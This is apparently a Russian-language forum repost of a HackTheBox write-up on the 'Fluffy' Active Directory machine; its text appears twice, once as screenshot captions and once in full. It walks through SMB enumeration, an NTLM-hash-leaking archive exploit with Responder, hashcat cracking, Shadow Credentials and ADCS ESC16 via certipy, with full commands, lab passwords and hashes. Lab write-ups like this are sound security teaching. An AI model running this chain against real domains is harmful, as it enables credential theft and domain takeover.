stihl не предоставил(а) никакой дополнительной информации.
Сегодня я на наглядном примере покажу, как повысить привилегии в Active Directory при помощи техники ADCS ESC16. На пути к захвату сервера нас также ждет свежая уязвимость в проводнике Windows и компрометация цепочки DACL.
Наша конечная цель — получение прав суперпользователя на машине Fluffy с учебной площадки Для просмотра ссылки Войдиили Зарегистрируйся. Уровень задания — легкий.
На этот раз, помимо IP-адреса машины, нам дают учетку с правами пользователя домена.
Информация о машине
Первым делом запускаем сканирование портов.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).
Результат работы скрипта
Сканер нашел 11 открытых портов:
Результат проверки учетных данных
Нам удается войти от имени пользователя j.fleischman.
Список пользователей
Сохраним список пользователей в файл на будущее, после чего просмотрим общие ресурсы SMB.
Список общих каталогов SMB
Нам доступен для чтения и записи каталог IT. Подключаемся к этому каталогу и просматриваем файлы.
Список файлов в каталоге IT
Помимо двух инсталлеров, там есть и файл PDF. Документ оказывается отчетом о найденных уязвимостях, которые еще, вероятно, не запатчены на хосте.
Содержимое PDF-документа
или Зарегистрируйся. Суть этого бага в том, что при распаковке файла из архива RAR или ZIP проводник Windows автоматически проанализирует файлы .library-ms. Если в теге <url> указана ссылка на SMB, то произойдет автоматическая NTLM-аутентификация на удаленном сервере. Это приводит к утечке NTLMv2-хеша пользователя. Для создания архива воспользуемся Для просмотра ссылки Войди или Зарегистрируйся.
Создание ZIP-архива
Запускаем Для просмотра ссылки Войдиили Зарегистрируйся и загружаем файл на SMB-шару. Спустя несколько секунд в листенере получаем хеш пользователя p.agila.
Логи Responder
Осталось подобрать пароль, для чего будем использовать утилиту hashcat.
Результат подбора пароля
или Зарегистрируйся использует теорию графов для выявления скрытых и зачастую непреднамеренных взаимосвязей в среде Active Directory. Ее можно использовать, чтобы легко идентифицировать очень сложные пути атаки. Помимо самой утилиты, которая позволяет просматривать граф, существует часть, загружаемая на удаленный хост для сбора информации. Она бывает в версиях для разных ОС и на разных языках программирования.
Для сбора будем использовать Для просмотра ссылки Войдиили Зарегистрируйся. Скомпилируем версию для Windows, загрузим на удаленный хост и запустим сканирование.
Логи RustHound
Данные собрались очень быстро. Скачиваем итоговый архив и строим граф от пользователя p.agila.
Граф BloodHound
Как показывает граф BloodHound, учетная запись p.agila состоит в группе SERVICE ACCOUNTS, члены которой имеют право GenericAll на учетные записи winrm_svc, ldap_svc и ca_svc. Так как в домене настроена служба ADCS, мы можем использовать технику Shadow Credentials.
Эта атака позволяет атакующему завладеть учетной записью пользователя или компьютера, если он может изменить атрибут msDS-KeyCredentialLink целевого объекта и добавить к нему альтернативные учетные данные, такие как сертификат. Затем по сертификату пользователя мы получим его билет TGT, из которого извлечем NTLM-хеш пароля пользователя. Это все происходит автоматически в команде certipy shadow.
Учетные данные winrm_svc
Учетные данные ldap_svc
Учетные данные ca_svc
От имени учетной записи winrm_svc авторизуемся в службе WinRM через Для просмотра ссылки Войдиили Зарегистрируйся и забираем первый флаг.
Флаг пользователя
или Зарегистрируйся получим информацию о центре сертификации и активные шаблоны сертификатов, но перед этим обновим запись в файле /etc/hosts.
Информация о центре сертификации
Certipy показывает неправильную настройку центра сертификации, что позволит нам использовать технику ADCS ESC16 для повышения привилегий в домене. ESC16 можно использовать, когда центр сертификации глобально настроен на отключение расширения безопасности szOID_NTDS_CA_SECURITY_EXT (OID 1.3.6.1.4.1.311.25.2) во всех выдаваемых им сертификатах. А это значит, что мы можем добиться сопоставления сертификата и учетной записи по UPN.
В этом случае нам нужно записать в атрибут userPrincipalName подконтрольной учетной записи имя той учетки, чей сертификат нам нужно получить, в данном случае это будет administrator. Но сперва просмотрим текущее значение userPrincipalName учетной записи ca_svc.
Значение userPrincipalName
Теперь меняем userPrincipalName на administrator.
Изменение userPrincipalName
От имени подконтрольной учетной записи запрашиваем сертификат по стандартному шаблону User. При сопоставлении по UPN будет получен сертификат для пользователя administrator.
Запрос сертификата
Теперь восстановим реальный UPN ca_svc.
Изменение userPrincipalName
И по сертификату сначала получаем TGT-билет администратора, а из него уже извлекаем NTLM-хеш пароля.
Получение учетных данных
С хешем учетной записи получаем сессию по WinRM и забираем последний флаг.
Флаг рута
Машина захвачена!
Наша конечная цель — получение прав суперпользователя на машине Fluffy с учебной площадки Для просмотра ссылки Войди
warning
Подключаться к машинам с HTB рекомендуется с применением средств анонимизации и виртуализации. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.Разведка
Сканирование портов
Добавляем IP-адрес машины в /etc/hosts:10.10.11.69 fluffy.htb
На этот раз, помимо IP-адреса машины, нам дают учетку с правами пользователя домена.
Первым делом запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
Код:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '
' ',' | sed s/,$//)
nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).
Сканер нашел 11 открытых портов:
- 88 — Kerberos;
- 135 — Microsoft RPC;
- 139 — служба сеансов NetBIOS, NetLogon;
- 389 — LDAP;
- 445 — SMB;
- 464 — служба смены пароля Kerberos;
- 593 (HTTP-RPC-EPMAP) — используется в службах DCOM и MS Exchange;
- 636 — LDAP с шифрованием SSL или TLS;
- 3268 (LDAP) — для доступа к Global Catalog от клиента к контроллеру;
- 3269 (LDAPS) — для доступа к Global Catalog от клиента к контроллеру через защищенное соединение;
- 5985 — служба удаленного управления WinRM.
nxc smb 10.10.11.69 -u 'j.fleischman' -p 'J0elTHEM4n1990!'
Нам удается войти от имени пользователя j.fleischman.
Точка входа
У нас есть действующая учетная запись в домене, поэтому получим список пользователей. Иногда в описании учетных записей можно найти интересную информацию.nxc smb 10.10.11.69 -u 'j.fleischman' -p 'J0elTHEM4n1990!' --users
Сохраним список пользователей в файл на будущее, после чего просмотрим общие ресурсы SMB.
nxc smb 10.10.11.69 -u 'j.fleischman' -p 'J0elTHEM4n1990!' --shares
Нам доступен для чтения и записи каталог IT. Подключаемся к этому каталогу и просматриваем файлы.
smbclientng -d fluffy.htb -u 'j.fleischman' -p 'J0elTHEM4n1990!' --host 10.10.11.69
Помимо двух инсталлеров, там есть и файл PDF. Документ оказывается отчетом о найденных уязвимостях, которые еще, вероятно, не запатчены на хосте.
Точка опоры
Из перечисленных уязвимостей попробуем проэксплуатировать Для просмотра ссылки Войдиpython3 exploit.py -f exp -i 10.10.14.72
Запускаем Для просмотра ссылки Войди
python3 Responder.py -I tun0
Осталось подобрать пароль, для чего будем использовать утилиту hashcat.
hashcat -m 5600 hash.txt ~/tools/wordlists/Passwords/rockyou.txt
Продвижение
Список скомпрометированных агентов пополняется, поэтому соберем базу BloodHound.Справка: BloodHound
Утилита Для просмотра ссылки ВойдиДля сбора будем использовать Для просмотра ссылки Войди
./rusthound-ce -d fluffy.htb -u 'j.fleischman' -p 'J0elTHEM4n1990!' -i 10.10.11.69 -c All -z
Данные собрались очень быстро. Скачиваем итоговый архив и строим граф от пользователя p.agila.
Как показывает граф BloodHound, учетная запись p.agila состоит в группе SERVICE ACCOUNTS, члены которой имеют право GenericAll на учетные записи winrm_svc, ldap_svc и ca_svc. Так как в домене настроена служба ADCS, мы можем использовать технику Shadow Credentials.
Эта атака позволяет атакующему завладеть учетной записью пользователя или компьютера, если он может изменить атрибут msDS-KeyCredentialLink целевого объекта и добавить к нему альтернативные учетные данные, такие как сертификат. Затем по сертификату пользователя мы получим его билет TGT, из которого извлечем NTLM-хеш пароля пользователя. Это все происходит автоматически в команде certipy shadow.
faketime -f '+7h' certipy shadow -u p.agila -p 'prometheusx-303' -dc-ip 10.10.11.69 auto -account winrm_svc
faketime -f '+7h' certipy shadow -u p.agila -p 'prometheusx-303' -dc-ip 10.10.11.69 auto -account ldap_svc
faketime -f '+7h' certipy shadow -u p.agila -p 'prometheusx-303' -dc-ip 10.10.11.69 auto -account ca_svc
От имени учетной записи winrm_svc авторизуемся в службе WinRM через Для просмотра ссылки Войди
evil-winrm -i 10.10.11.69 -u winrm_svc -H 33bd09dcd697600edf6b3a7af4875767
Локальное повышение привилегий
У нас есть учетная запись с говорящим именем ca_svc. С помощью Для просмотра ссылки Войди
Код:
10.10.11.69 fluffy.htb fluffy-dc01-ca dc01.fluffy.htb
certipy find -u ca_svc -hashes ':ca0f4f9e9eb8a092addf53bb03fc98c8' -dc-ip 10.10.11.69 -vulnerable -stdout
Certipy показывает неправильную настройку центра сертификации, что позволит нам использовать технику ADCS ESC16 для повышения привилегий в домене. ESC16 можно использовать, когда центр сертификации глобально настроен на отключение расширения безопасности szOID_NTDS_CA_SECURITY_EXT (OID 1.3.6.1.4.1.311.25.2) во всех выдаваемых им сертификатах. А это значит, что мы можем добиться сопоставления сертификата и учетной записи по UPN.
В этом случае нам нужно записать в атрибут userPrincipalName подконтрольной учетной записи имя той учетки, чей сертификат нам нужно получить, в данном случае это будет administrator. Но сперва просмотрим текущее значение userPrincipalName учетной записи ca_svc.
certipy account -u 'p.agila' -p 'prometheusx-303' -dc-ip '10.10.11.69' -user 'ca_svc' read
Теперь меняем userPrincipalName на administrator.
certipy account -u 'p.agila' -p 'prometheusx-303' -dc-ip '10.10.11.69' -upn 'administrator' -user 'ca_svc' update
От имени подконтрольной учетной записи запрашиваем сертификат по стандартному шаблону User. При сопоставлении по UPN будет получен сертификат для пользователя administrator.
certipy req -dc-ip 10.10.11.69 -u ca_svc -hashes ':ca0f4f9e9eb8a092addf53bb03fc98c8' -ca fluffy-DC01-CA -template User
Теперь восстановим реальный UPN ca_svc.
certipy account -u 'p.agila' -p 'prometheusx-303' -dc-ip '10.10.11.69' -upn 'ca_svc' -user 'ca_svc' update
И по сертификату сначала получаем TGT-билет администратора, а из него уже извлекаем NTLM-хеш пароля.
faketime -f '+7h' certipy auth -pfx administrator.pfx -dc-ip '10.10.11.69' -username administrator -domain fluffy.htb
С хешем учетной записи получаем сессию по WinRM и забираем последний флаг.
evil-winrm -i 10.10.11.69 -u administrator -H 8da83a3fa618b6e3a00e93f676c92a6e
Машина захвачена!